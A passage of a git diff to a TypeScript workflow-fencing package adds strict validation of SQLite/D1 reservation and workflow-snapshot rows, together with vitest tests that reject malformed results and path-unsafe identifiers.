expect(store.usesDatabase({ ...binding })).toBe(false); + await expect(store.readForAdmission('absent')).rejects.toBeInstanceOf( + StartReservationUnreadableError, + ); + expect( + sqlite + .prepare("SELECT name FROM sqlite_master WHERE type = 'table'") + .all(), + ).toEqual([]); + sqlite.exec(START_IDEMPOTENCY_DDL); + const schema = sqlite + .prepare('PRAGMA table_xinfo(flowsafe_start_idempotency)') + .all(); + for (let stage = 0; stage < 3; stage += 1) + expect(() => + validateStartReservationAdmissionSchema({ + results: schema.slice(0, 10 + stage), + }), + ).toThrow('admission requires current schema'); + expect(() => + validateStartReservationAdmissionSchema({ results: schema }), + ).not.toThrow(); + await expect(store.readForAdmission('absent')).resolves.toBeUndefined(); + sqlite + .prepare( + 'INSERT INTO flowsafe_start_idempotency VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)', + ) + .run(...Object.values({ ...raw, thread_id: 'bad/thread' })); + expect((await store.read('key'))?.threadId).toBeUndefined(); + const error = await store + .readForAdmission('key') + .catch((error: unknown) => error); + expect(error).toMatchObject({ + status: 503, + cause: { + message: expect.stringContaining( + 'admission workflow thread must be null', + ), + }, + }); + expect( + sqlite.prepare('SELECT thread_id FROM flowsafe_start_idempotency').get(), + ).toEqual({ thread_id: 'bad/thread' }); + }); +}); + function harness(now: () => number = () => 1_000) { const sqlite = openSqlite(); const binding = sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase; diff --git a/packages/flowsafe/src/do-runner/start-idempotency.ts b/packages/flowsafe/src/do-runner/start-idempotency.ts index e7583908..4265615b 100644 --- a/packages/flowsafe/src/do-runner/start-idempotency.ts +++ b/packages/flowsafe/src/do-runner/start-idempotency.ts @@ -464,9 +464,8 @@ export type StartIdempotencyWiring = StartIdempotencyStore | 'none'; * the D1 storage adapter (and @mastra/cloudflare-d1 with it) into its bundle. * * That bundle rule is why the imports at the top of this file are what they - * are. Four are import-free leaves (principal-identity, cause-chain, - * do-status-error, path-safe-id) and the fifth, execution-fence, imports only - * leaves and the shared provisioning protocol. Nothing on that graph can cycle + * are: lightweight identity/error leaves and the execution-fence store, whose + * dependencies never reach the adapter. Nothing on that graph can cycle * back here, which matters more than usual: the eight DoStatusError subclasses * in this module are evaluated at module load, so an import edge that came * back around would meet a class expression still in its temporal dead zone. @@ -588,17 +587,25 @@ function reservationResultRows(result: unknown): StartReservationRow[] { result === null || typeof result !== 'object' || ('success' in result && result.success !== true) || - !('results' in result) || - !Array.isArray(result.results) + !('results' in result) ) { throw new Error('reservation statement returned an invalid result'); } - for (const row of result.results) { + const rows: unknown = result.results; + if (!Array.isArray(rows)) + throw new Error('reservation statement returned an invalid result'); + const length = rows.length; + if (!Number.isSafeInteger(length) || length < 0) + throw new Error('reservation statement returned an invalid result'); + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(rows, index)) + throw new Error('reservation statement returned an invalid row'); + const row = rows[index]; if (row === null || typeof row !== 'object' || Array.isArray(row)) { throw new Error('reservation statement returned an invalid row'); } - } - return result.results; + return row; + }); } function reservationBinding( @@ -738,6 +745,87 @@ function reservationFromRow( }; } +function admissionReservationFromRow( + row: StartReservationRow, + stage: StartReservationSchemaStage, +): StartReservationReading { + if (stage !== 3) + throw new ReservationSchemaError('admission requires current schema'); + const captured: Record = {}; + for (const [name] of START_IDEMPOTENCY_COLUMNS) { + if (!Object.hasOwn(row, name)) + throw new ReservationSchemaError(`row is missing ${name}`); + captured[name] = row[name]; + } + if (!isPathSafeId(captured.key)) + throw new ReservationSchemaError('admission key is invalid'); + if (!isPathSafeId(captured.run_id)) + throw new ReservationSchemaError('admission run id is invalid'); + if (!isPathSafeId(captured.target_id)) + throw new ReservationSchemaError('admission target id is invalid'); + if (captured.target_kind === 'workflow' && captured.thread_id !== null) + throw new ReservationSchemaError('admission workflow thread must be null'); + if (captured.target_kind === 'agent' && !isPathSafeId(captured.thread_id)) + throw new ReservationSchemaError('admission agent thread is invalid'); + normalizeStartIdentity({ + owner: { kind: captured.owner_kind, id: captured.owner_id }, + target: { + kind: captured.target_kind, + id: captured.target_id, + ...(captured.thread_id === null ? {} : { threadId: captured.thread_id }), + }, + }); + const reservation = reservationFromRow(captured, stage); + return Object.freeze({ + ...reservation, + owner: Object.freeze(reservation.owner), + binding: Object.freeze(reservation.binding), + }); +} + +/** @internal Decode current-stage data before compatible thread normalization. */ +export function decodeStartReservationAdmissionResult( + result: unknown, +): StartReservationReading | undefined { + const rows = reservationResultRows(result); + if (rows.length > 1) + throw new ReservationSchemaError('admission returned multiple rows'); + return rows[0] === undefined + ? undefined + : admissionReservationFromRow(rows[0], 3); +} + +function reservationSchemaStage( + result: unknown, +): StartReservationSchemaStage | undefined { + const columns = reservationResultRows(result); + if (columns.length === 0) return undefined; + if (columns.length < 10 || columns.length > START_IDEMPOTENCY_COLUMNS.length) + throw new ReservationSchemaError('unexpected columns'); + for (const [index, actual] of columns.entries()) { + const expected = START_IDEMPOTENCY_COLUMNS[index]; + if (expected === undefined) + throw new ReservationSchemaError('unexpected columns'); + const [name, type, notnull, pk] = expected; + if ( + actual.name !== name || + actual.type !== type || + actual.notnull !== notnull || + actual.pk !== pk || + actual.dflt_value !== null || + actual.hidden !== 0 + ) + throw new ReservationSchemaError(`column ${name} differs`); + } + return (columns.length - 10) as StartReservationSchemaStage; +} + +/** @internal Validate already-observed PRAGMA data without another query. */ +export function validateStartReservationAdmissionSchema(result: unknown): void { + if (reservationSchemaStage(result) !== 3) + throw new ReservationSchemaError('admission requires current schema'); +} + /** * A reservation exists but cannot be understood, or the table could not be * read. 503 and never "no reservation": the absent answer is the one that @@ -1050,36 +1138,42 @@ export class StartIdempotencyStore { return row; } + usesDatabase(binding: object): boolean { + return this.#db === binding; + } + + /** @internal Pure current-stage read, including for an absent key. */ + async readForAdmission( + key: string, + ): Promise { + const safeKey = assertKey(key); + try { + const result = await this.#db + .prepare( + `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`, + ) + .bind(safeKey) + .all(); + const row = decodeStartReservationAdmissionResult(result); + validateStartReservationAdmissionSchema( + await this.#db + .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) + .all(), + ); + if (row !== undefined && row.key !== safeKey) + throw new ReservationSchemaError('admission returned another key'); + return row; + } catch (error) { + throw new StartReservationUnreadableError(safeKey, { cause: error }); + } + } + async #schemaStage(): Promise { - const columns = reservationResultRows( + return reservationSchemaStage( await this.#db .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`) .all(), ); - if (columns.length === 0) return undefined; - if ( - columns.length < 10 || - columns.length > START_IDEMPOTENCY_COLUMNS.length - ) { - throw new ReservationSchemaError('unexpected columns'); - } - for (const [index, actual] of columns.entries()) { - const expected = START_IDEMPOTENCY_COLUMNS[index]; - if (expected === undefined) - throw new ReservationSchemaError('unexpected columns'); - const [name, type, notnull, pk] = expected; - if ( - actual.name !== name || - actual.type !== type || - actual.notnull !== notnull || - actual.pk !== pk || - actual.dflt_value !== null || - actual.hidden !== 0 - ) { - throw new ReservationSchemaError(`column ${name} differs`); - } - } - return (columns.length - 10) as StartReservationSchemaStage; } async #readReservations( diff --git a/packages/flowsafe/src/do-runner/table-prefix.ts b/packages/flowsafe/src/do-runner/table-prefix.ts index e318b775..c2455c04 100644 --- a/packages/flowsafe/src/do-runner/table-prefix.ts +++ b/packages/flowsafe/src/do-runner/table-prefix.ts @@ -12,7 +12,10 @@ export function validateTablePrefix( value: string | undefined, fieldName = 'tablePrefix', ): string | undefined { - if (value !== undefined && !TABLE_PREFIX_PATTERN.test(value)) { + if ( + value !== undefined && + (typeof value !== 'string' || !TABLE_PREFIX_PATTERN.test(value)) + ) { throw new Error( `Invalid ${fieldName}: use an empty prefix or start with a letter or underscore and continue with letters, numbers, or underscores.`, ); diff --git a/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts b/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts new file mode 100644 index 00000000..782f6d18 --- /dev/null +++ b/packages/flowsafe/src/do-runner/workflow-snapshot-row.test.ts @@ -0,0 +1,207 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { ExecutionFenceUnreadableError } from './execution-admission.js'; +import { + decodeRawWorkflowSnapshotResult, + prepareRawWorkflowSnapshotRead, + readRawWorkflowSnapshot, + type SnapshotDatabase, +} from './workflow-snapshot-row.js'; + +const ADDRESS = { + tablePrefix: 'tenant_', + workflowId: 'workflow', + runId: 'run', +}; +const ROW = { + workflow_name: 'workflow', + run_id: 'run', + resourceId: null, + snapshot: '{"text":"λ"}', + createdAt: 'unchanged-created', + updatedAt: 'unchanged-updated', +}; + +describe('raw workflow snapshots', () => { + it('rejects inherited slots instead of accepting an apparently populated raw result', () => { + const rows = Object.setPrototypeOf( + new Array(1), + Object.assign(Object.create(Array.prototype), { 0: ROW }), + ); + expect(Object.hasOwn(rows, 0)).toBe(false); + expect(() => + decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS), + ).toThrow('row is malformed'); + }); + it('does not let a custom iterator hide a malformed raw row', () => { + const rows = [null]; + Object.defineProperty(rows, Symbol.iterator, { + value: function* () { + yield ROW; + }, + }); + expect(() => + decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS), + ).toThrow('row is malformed'); + }); + it('reads exact six fields and canonical address from native SQLite', async () => { + const sql = openSqlite(); + sql.exec( + 'CREATE TABLE tenant_mastra_workflow_snapshot (workflow_name TEXT, run_id TEXT, resourceId TEXT, snapshot TEXT, createdAt TEXT, updatedAt TEXT)', + ); + sql + .prepare( + 'INSERT INTO tenant_mastra_workflow_snapshot VALUES (?, ?, ?, ?, ?, ?)', + ) + .run(...Object.values(ROW)); + const db = sqliteUnitDatabase(sql) as SnapshotDatabase; + const value = await readRawWorkflowSnapshot( + db, + { ...ADDRESS, tablePrefix: 'TENANT_' }, + { missingTable: 'error' }, + ); + expect(value).toEqual({ + ...ADDRESS, + resourceId: null, + snapshot: ROW.snapshot, + createdAt: ROW.createdAt, + updatedAt: ROW.updatedAt, + }); + expect(Object.isFrozen(value)).toBe(true); + expect( + await readRawWorkflowSnapshot( + db, + { ...ADDRESS, runId: 'absent' }, + { missingTable: 'error' }, + ), + ).toBeUndefined(); + }); + + it('distinguishes optional table absence from a missing required table', async () => { + const db = sqliteUnitDatabase(openSqlite()) as SnapshotDatabase; + await expect( + readRawWorkflowSnapshot(db, ADDRESS, { missingTable: 'empty' }), + ).resolves.toBeUndefined(); + await expect( + readRawWorkflowSnapshot(db, ADDRESS, { missingTable: 'error' }), + ).rejects.toBeInstanceOf(ExecutionFenceUnreadableError); + const failure = new Error( + 'no such table: tenant_mastra_workflow_snapshot', + { cause: new Error('disk corruption') }, + ); + const prepared = db.prepare('SELECT 1'); + prepared.bind = () => prepared; + prepared.all = vi.fn().mockRejectedValue(failure); + await expect( + readRawWorkflowSnapshot({ prepare: () => prepared }, ADDRESS, { + missingTable: 'empty', + }), + ).rejects.toMatchObject({ cause: failure }); + }); + + it.each([ + null, + {}, + { results: [], success: false }, + { results: [], success: undefined }, + { results: [ROW, ROW] }, + { results: new Array(1) }, + { results: [null] }, + ...Object.keys(ROW).map((field) => ({ + results: [ + Object.fromEntries( + Object.entries(ROW).filter(([key]) => key !== field), + ), + ], + })), + ...[ + 'workflow_name', + 'run_id', + 'snapshot', + 'createdAt', + 'updatedAt', + 'resourceId', + ].map((field) => ({ results: [{ ...ROW, [field]: 7 }] })), + { results: [{ ...ROW, run_id: 'other' }] }, + { results: [{ ...ROW, workflow_name: 'other' }] }, + ])('refuses malformed rows or envelopes %#', (result) => { + expect(() => decodeRawWorkflowSnapshotResult(result, ADDRESS)).toThrow(); + }); + + it('does not confuse SELECT metadata with row cardinality or parse JSON', () => { + expect( + decodeRawWorkflowSnapshotResult( + { results: [], meta: { changes: 1 } }, + ADDRESS, + ), + ).toBeUndefined(); + expect( + decodeRawWorkflowSnapshotResult( + { results: [{ ...ROW, snapshot: 'not JSON' }], meta: { changes: 0 } }, + ADDRESS, + )?.snapshot, + ).toBe('not JSON'); + }); + + it('validates and returns one captured envelope array', () => { + let reads = 0; + const result = { + get results() { + reads += 1; + return reads === 1 ? [ROW] : [{ ...ROW, run_id: 'replacement' }]; + }, + }; + expect(decodeRawWorkflowSnapshotResult(result, ADDRESS)?.runId).toBe('run'); + expect(reads).toBe(1); + }); + + it('captures each array element before validating and decoding it', () => { + let reads = 0; + const rows: unknown[] = []; + Object.defineProperty(rows, 0, { + get() { + return ++reads === 1 ? ROW : undefined; + }, + }); + expect( + decodeRawWorkflowSnapshotResult({ results: rows }, ADDRESS)?.runId, + ).toBe('run'); + expect(reads).toBe(1); + }); + + it('captures address values once before waiting and rejects bad addresses before prepare', async () => { + const sql = openSqlite(); + const db = sqliteUnitDatabase(sql) as SnapshotDatabase; + const prepared = db.prepare('SELECT 1'); + prepared.bind = () => prepared; + let release!: (value: { results: (typeof ROW)[] }) => void; + prepared.all = vi.fn( + () => + new Promise<{ results: (typeof ROW)[] }>((resolve) => { + release = resolve; + }), + ) as typeof prepared.all; + const source = { ...ADDRESS }; + const result = readRawWorkflowSnapshot( + { prepare: () => prepared }, + source, + { missingTable: 'error' }, + ); + source.runId = 'changed'; + release({ results: [ROW] }); + expect((await result)?.runId).toBe('run'); + const prepare = vi.fn(); + for (const address of [ + { ...ADDRESS, runId: '../bad' }, + { ...ADDRESS, tablePrefix: 'bad-' }, + { ...ADDRESS, tablePrefix: null }, + ]) { + expect(() => + prepareRawWorkflowSnapshotRead({ prepare }, address as typeof ADDRESS), + ).toThrow(); + } + expect(prepare).not.toHaveBeenCalled(); + }); +}); diff --git a/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts new file mode 100644 index 00000000..09796883 --- /dev/null +++ b/packages/flowsafe/src/do-runner/workflow-snapshot-row.ts @@ -0,0 +1,145 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { missingTableReadsEmpty } from './cause-chain.js'; +import { ExecutionFenceUnreadableError } from './execution-admission.js'; +import { isPathSafeId } from './path-safe-id.js'; +import { validateTablePrefix } from './table-prefix.js'; + +/** Structural D1 surface; a transactional batch is required for admission. */ +export interface SnapshotDatabase { + prepare(query: string): SnapshotStatement; + batch?(statements: SnapshotStatement[]): Promise; +} + +export interface SnapshotStatement { + bind(...values: unknown[]): SnapshotStatement; + run(): Promise; + all(): Promise<{ results: T[] }>; +} + +export interface D1RunAddress { + readonly tablePrefix: string; + readonly workflowId: string; + readonly runId: string; +} + +export interface RawWorkflowSnapshot extends D1RunAddress { + readonly resourceId: string | null; + readonly snapshot: string; + readonly createdAt: string; + readonly updatedAt: string; +} + +/** @internal Strict row envelopes, independent of SELECT/DML metadata. */ +export function snapshotResultRows(result: unknown): Record[] { + if ( + result === null || + typeof result !== 'object' || + ('success' in result && result.success !== true) || + !('results' in result) + ) + throw new Error('workflow snapshot result is malformed'); + const rows: unknown = result.results; + if (!Array.isArray(rows)) + throw new Error('workflow snapshot result is malformed'); + const length = rows.length; + if (!Number.isSafeInteger(length) || length < 0) + throw new Error('workflow snapshot result is malformed'); + return Array.from({ length }, (_, index) => { + if (!Object.hasOwn(rows, index)) + throw new Error('workflow snapshot result row is malformed'); + const row = rows[index]; + if (row === null || typeof row !== 'object' || Array.isArray(row)) + throw new Error('workflow snapshot result row is malformed'); + return row; + }); +} + +/** @internal Prepare the same exact read used by consistent readback batches. */ +export function prepareRawWorkflowSnapshotRead( + db: Pick, + input: D1RunAddress, +): { statement: SnapshotStatement; address: D1RunAddress } { + const { tablePrefix, workflowId, runId } = input; + if ( + typeof tablePrefix !== 'string' || + !isPathSafeId(workflowId) || + !isPathSafeId(runId) + ) + throw new Error('workflow snapshot address is malformed'); + const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? ''; + const address = Object.freeze({ tablePrefix: prefix, workflowId, runId }); + const statement = db + .prepare(`SELECT workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt + FROM "${prefix}mastra_workflow_snapshot" + WHERE workflow_name = ? AND run_id = ? LIMIT 2`) + .bind(workflowId, runId); + return { statement, address }; +} + +/** @internal Decode exact stored bytes without JSON or timestamp coercion. */ +export function decodeRawWorkflowSnapshotResult( + result: unknown, + address: D1RunAddress, +): RawWorkflowSnapshot | undefined { + const rows = snapshotResultRows(result); + if (rows.length > 1) throw new Error('workflow snapshot is not a singleton'); + const row = rows[0]; + if (row === undefined) return undefined; + for (const key of [ + 'workflow_name', + 'run_id', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ]) { + if (!Object.hasOwn(row, key)) + throw new Error('workflow snapshot field is missing'); + } + const { workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt } = + row; + if ( + workflow_name !== address.workflowId || + run_id !== address.runId || + (resourceId !== null && typeof resourceId !== 'string') || + typeof snapshot !== 'string' || + typeof createdAt !== 'string' || + typeof updatedAt !== 'string' + ) + throw new Error('workflow snapshot fields are malformed'); + return Object.freeze({ + ...address, + resourceId, + snapshot, + createdAt, + updatedAt, + }); +} + +export async function readRawWorkflowSnapshot( + db: Pick, + input: D1RunAddress, + options: { readonly missingTable: 'empty' | 'error' }, +): Promise { + let table: string | undefined; + const mode = options.missingTable; + try { + if (mode !== 'empty' && mode !== 'error') + throw new Error('missing-table mode is required'); + const { statement, address } = prepareRawWorkflowSnapshotRead(db, input); + table = `${address.tablePrefix}mastra_workflow_snapshot`; + return decodeRawWorkflowSnapshotResult(await statement.all(), address); + } catch (error) { + if ( + mode === 'empty' && + table !== undefined && + missingTableReadsEmpty(error, table) + ) + return undefined; + throw new ExecutionFenceUnreadableError( + 'workflow snapshot is not readable', + { cause: error }, + ); + } +} diff --git a/packages/flowsafe/src/execution-entry-matrix.test.ts b/packages/flowsafe/src/execution-entry-matrix.test.ts index 67d5d98c..9160d9c5 100644 --- a/packages/flowsafe/src/execution-entry-matrix.test.ts +++ b/packages/flowsafe/src/execution-entry-matrix.test.ts @@ -52,11 +52,18 @@ import { Mastra } from '@mastra/core'; import type { Agent } from '@mastra/core/agent'; import type { NotificationsStorage } from '@mastra/core/notifications'; +import { RequestContext } from '@mastra/core/request-context'; import { InMemoryStore } from '@mastra/core/storage'; +import { createStep, createWorkflow } from '@mastra/core/workflows'; +import ts from 'typescript'; import { describe, expect, it } from 'vitest'; import { z } from 'zod'; -import { openSqlite, sqliteUnitDatabase } from '../test-support/sqlite.js'; +import { + openSqlite, + type SqliteDatabase, + sqliteUnitDatabase, +} from '../test-support/sqlite.js'; import type { ActorContext, ApprovalActor } from './approval-api/index.js'; import { ApprovalService, @@ -64,6 +71,7 @@ import { InMemoryResourceOwnershipStore, } from './approval-api/index.js'; import { BackgroundTaskHost } from './background-tasks/index.js'; +import { RUN_PROVENANCE_CONTEXT_KEY } from './do-runner/execution-context.js'; import type { DurableObjectRunOwnershipStore, ExecutionFenceDatabase, @@ -77,11 +85,14 @@ import { admitsExistingRun, admitsRunStart, admitsWorkAuthoring, + createD1Storage, createHostPubSub, DEPLOYMENT_IDENTITY_HEADER, DurableObjectRunner, EXECUTION_PRINCIPAL_HEADER, ExecutionFenceStore, + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowsStorageD1, init, StartIdempotencyStore, } from './do-runner/index.js'; @@ -182,16 +193,24 @@ interface Entry { * suspended run, a filed approval, a due schedule) is created the way * production creates it. The fence moves only after this returns. */ - prepare(fence: ExecutionFenceStore): Promise; + prepare( + fence: ExecutionFenceStore, + database: ExecutionFenceDatabase, + sqlite: SqliteDatabase, + ): Promise; } /** A fresh fence store over its own in-memory database, seeded open. */ -async function openFence(): Promise { - const fence = new ExecutionFenceStore( - sqliteUnitDatabase(openSqlite()) as ExecutionFenceDatabase, - ); +async function openFence(): Promise<{ + fence: ExecutionFenceStore; + database: ExecutionFenceDatabase; + sqlite: SqliteDatabase; +}> { + const sqlite = openSqlite(); + const database = sqliteUnitDatabase(sqlite) as ExecutionFenceDatabase; + const fence = new ExecutionFenceStore(database); await fence.seed('open'); - return fence; + return { fence, database, sqlite }; } /** @@ -491,6 +510,190 @@ function objectiveStore(): ObjectiveStore { // --------------------------------------------------------------------------- const ENTRIES: readonly Entry[] = [ + { + name: 'FencedWorkflowsStorageD1.withInitialAdmission', + module: 'do-runner/fenced-workflows-d1.ts — final initial INSERT guard', + predicate: 'admitsRunStart', + prepare: async (fence, database, sqlite) => { + const workflowId = 'matrix-owned-initial'; + const runId = nextRunId(); + const execution = { + tablePrefix: '', + workflowId, + runId, + startToken: crypto.randomUUID(), + }; + const attemptToken = crypto.randomUUID(); + const startIdentity = { + owner: { kind: 'human' as const, id: 'matrix-owner' }, + target: { kind: 'workflow' as const, id: workflowId }, + }; + const storage = createD1Storage({ binding: database }); + let engineCalls = 0; + const workflow = createWorkflow({ + id: workflowId, + inputSchema: z.object({}), + outputSchema: z.object({}), + }) + .then( + createStep({ + id: 'effect', + inputSchema: z.object({}), + outputSchema: z.object({}), + execute: async () => { + engineCalls += 1; + return {}; + }, + }), + ) + .commit(); + const mastra = new Mastra({ + storage, + workflows: { [workflowId]: workflow }, + }); + await storage.init(); + const domain = (await mastra.getStorage()?.getStore('workflows')) as + | FencedWorkflowsStorageD1 + | undefined; + const capability = domain?.[FENCED_WORKFLOW_STORAGE]; + if (!capability) throw new Error('composed owned capability is missing'); + expect(capability.database).toBe(database); + + const reservationStore = new StartIdempotencyStore(database); + await reservationStore.reserve({ + key: PROOF_KEY, + owner: startIdentity.owner, + targetKind: 'workflow', + targetId: workflowId, + mintRunId: () => runId, + }); + expect(await reservationStore.claim(PROOF_KEY, runId)).toBe(true); + // B1 does not activate modern reserve emission; this is its required + // already-modern unbound precondition, not a new production minter. + sqlite + .prepare( + "UPDATE flowsafe_start_idempotency SET start_token = '' WHERE key = ?", + ) + .run(PROOF_KEY); + const reservation = await reservationStore.readForAdmission(PROOF_KEY); + if (!reservation) throw new Error('initial reservation is missing'); + + return { + nomination: PROOF_KEY, + invoke: async (carry) => { + const reading = await fence.read(); + const expected = admitsRunStart( + reading, + carry ? PROOF_KEY : undefined, + ); + const fenceBefore = sqlite + .prepare('SELECT * FROM flowsafe_execution_fence') + .get() as Record; + const reservationBefore = sqlite + .prepare('SELECT * FROM flowsafe_start_idempotency WHERE key = ?') + .get(PROOF_KEY) as Record; + const requestContext = { + [RUN_PROVENANCE_CONTEXT_KEY]: { + version: 2, + startToken: execution.startToken, + attemptToken, + startIdentity, + requestedBy: startIdentity.owner.id, + requestedByKind: startIdentity.owner.kind, + resumeCounts: [], + }, + }; + let attempts = 0; + try { + return await classify(async () => { + const { value, witness } = await capability.withInitialAdmission( + { + execution, + attemptToken, + startIdentity, + requestContext, + fence, + reservationStore, + reservation, + ...(carry + ? { + proof: { + key: PROOF_KEY, + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }, + } + : {}), + onInitialWriteAttempt: () => { + attempts += 1; + }, + }, + () => workflow.createRun({ runId }), + ); + expect(witness.execution).toEqual(execution); + expect( + JSON.parse(witness.row.snapshot).requestContext[ + RUN_PROVENANCE_CONTEXT_KEY + ].initialAdmission, + ).toBe(true); + expect(engineCalls).toBe(0); + const result = await value.start({ + inputData: {}, + requestContext: new RequestContext( + Object.entries(requestContext), + ), + }); + expect(result.status).toBe('success'); + }); + } finally { + // A post-INSERT decoder refusal must not hide an unauthorized row. + const snapshots = sqlite + .prepare( + 'SELECT * FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?', + ) + .all(workflowId, runId); + expect(snapshots, 'final SQL snapshot effects').toHaveLength( + expected ? 1 : 0, + ); + expect( + sqlite + .prepare( + 'SELECT * FROM flowsafe_start_idempotency WHERE key = ?', + ) + .get(PROOF_KEY), + 'final SQL reservation effects', + ).toEqual( + expected + ? { + ...reservationBefore, + start_token: execution.startToken, + start_table_prefix: execution.tablePrefix, + start_workflow_id: workflowId, + } + : reservationBefore, + ); + expect( + sqlite.prepare('SELECT * FROM flowsafe_execution_fence').get(), + 'final SQL proof effects', + ).toEqual( + expected && reading.state === 'proof-only' + ? { + ...fenceBefore, + proof_run_id: runId, + proof_table_prefix: execution.tablePrefix, + proof_workflow_id: workflowId, + proof_start_token: execution.startToken, + updated_at: expect.any(Number), + } + : fenceBefore, + ); + expect(attempts).toBe(1); + expect(engineCalls).toBe(expected ? 1 : 0); + } + }, + }; + }, + }, { name: 'RunnerRuntime.start', module: 'do-runner/runtime.ts — the closure guarantee for every mint', @@ -875,13 +1078,13 @@ const ENTRIES: readonly Entry[] = [ // --------------------------------------------------------------------------- /** - * Every place in `src/` that consults an admission predicate, and how the four - * fence states are exercised against it. + * Every place in `src/` that consults an admission predicate or guards an + * initial INSERT in SQL, and how the four fence states are exercised against it. * * THIS IS THE LIST'S ENFORCEMENT. The drives above prove that the gates we know * about behave correctly; they can say nothing about a gate nobody added and * nothing about a gate someone deleted. The census below reads the source, so a - * new call site fails until it is written down here — with either the matrix + * new boundary fails until it is written down here — with either the matrix * entry that drives it, or the suite that already does. * * `drivenBy` names a matrix entry above wherever one exists. The three that @@ -891,11 +1094,13 @@ const ENTRIES: readonly Entry[] = [ * route whose other arm IS driven here. Each is exercised across all four * states in the file named. */ -const GATE_SITES: ReadonlyArray<{ +type GateSite = { file: string; predicate: PredicateName; - drivenBy: string; -}> = [ + sql?: 'initial-snapshot-insert'; +}; + +const GATE_SITES: ReadonlyArray = [ { file: 'approval-api/service.ts', predicate: 'admitsExistingRun', @@ -929,6 +1134,18 @@ const GATE_SITES: ReadonlyArray<{ predicate: 'admitsExistingRun', drivenBy: 'run object POST /:workflow/:run/resume', }, + { + file: 'do-runner/fenced-workflows-d1.ts', + predicate: 'admitsRunStart', + sql: 'initial-snapshot-insert', + drivenBy: 'FencedWorkflowsStorageD1.withInitialAdmission', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + predicate: 'admitsRunStart', + // Post-zero diagnosis, not the INSERT's final admission authority. + drivenBy: 'FencedWorkflowsStorageD1.withInitialAdmission', + }, { file: 'do-runner/runtime.ts', predicate: 'admitsRunStart', @@ -1040,25 +1257,76 @@ function walkSourceFiles( } /** - * Every `admits*(` call in the package's source, as (file, predicate) pairs. + * Every direct `admits*(` call, preserving the original lexical census and + * its declaration/barrel exclusions. SQL discovery has no such exclusions. * - * `process.getBuiltinModule` rather than an import: this package's test - * tsconfig is workers-typed and carries no `@types/node`, so a static `node:` - * specifier does not type-check. This is the schema guard's idiom for reaching - * `node:sqlite`. + * The filesystem reader keeps the schema guard's getBuiltinModule idiom, + * without adding a direct Node ambient-type requirement to this test. */ -function gateCallSites(): Array<{ file: string; predicate: PredicateName }> { - const found: Array<{ file: string; predicate: PredicateName }> = []; +function predicateCallSites({ file, source }: SourceFile): GateSite[] { + const found: GateSite[] = []; const pattern = /\badmits(RunStart|ExistingRun|WorkAuthoring|DrainableExecution)\s*\(/g; - walkSourceFiles(sourceRoot(), ({ file, source }) => { - if (NOT_GATE_FILES.includes(file)) return; - for (const match of source.matchAll(pattern)) { - found.push({ - file, - predicate: `admits${match[1] as string}` as PredicateName, - }); + if (NOT_GATE_FILES.includes(file)) return found; + for (const match of source.matchAll(pattern)) { + found.push({ + file, + predicate: `admits${match[1] as string}` as PredicateName, + }); + } + return found; +} + +/** Presence/deletion census of the actual inline initial INSERT guard. */ +function sqlAdmissionSites({ file, source }: SourceFile): GateSite[] { + const parsed = ts.createSourceFile( + file, + source, + ts.ScriptTarget.Latest, + true, + ); + const found: GateSite[] = []; + const visit = (node: ts.Node): void => { + if ( + ts.isCallExpression(node) && + ts.isPropertyAccessExpression(node.expression) && + node.expression.name.text === 'prepare' + ) { + const argument = node.arguments[0]; + if ( + argument && + (ts.isStringLiteral(argument) || + ts.isNoSubstitutionTemplateLiteral(argument) || + ts.isTemplateExpression(argument)) + ) { + const sql = argument.getText(parsed).slice(1, -1); + if ( + /^\s*INSERT\s+INTO\b/i.test(sql) && + /\bWHERE\s+EXISTS\s*\(\s*SELECT\s+1\s+FROM\s+(?:flowsafe_execution_fence|\$\{EXECUTION_FENCE_TABLE\})\s+AS\s+f\b/i.test( + sql, + ) + ) { + found.push({ + file, + predicate: 'admitsRunStart', + sql: 'initial-snapshot-insert', + }); + } + } } + ts.forEachChild(node, visit); + }; + visit(parsed); + return found; +} + +function gateCallSites(): GateSite[] { + const found: GateSite[] = []; + walkSourceFiles(sourceRoot(), (sourceFile) => { + found.push( + ...predicateCallSites(sourceFile), + ...sqlAdmissionSites(sourceFile), + ); }); return found; } @@ -1067,9 +1335,10 @@ type FenceErrorName = 'ExecutionFencedError' | 'ExecutionFenceUnreadableError'; /** * Every production site that AUTHORS a fence refusal or unreadable-store - * failure. Each row states why the error is constructed before execution can - * have an effect; the source scan below makes a new author fail until its - * boundary is reviewed and recorded here. The census is deliberately lexical: + * failure. Each row states why the error prevents engine execution. Initial + * admission may already have persisted rows: those sites must say so, without + * claiming their refusal proves no durable write. The scan makes a new author + * fail until its boundary is reviewed and recorded here. It is lexical: * a constructor spelling in a comment or string fails loud and asks for review. * Aliased class names and namespace imports are forbidden so lexical coverage * cannot be bypassed without first changing this test. @@ -1129,6 +1398,13 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ beforeExecutionEffect: 'The response helper only serializes an already-decided refusal and performs no execution effect.', }, + { + file: 'do-runner/execution-fence.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'async readForAdmission():', + beforeExecutionEffect: + 'The pure current-schema observation rejects missing or malformed metadata before engine entry; diagnostic/readback callers may follow a durable initial admission, so this error 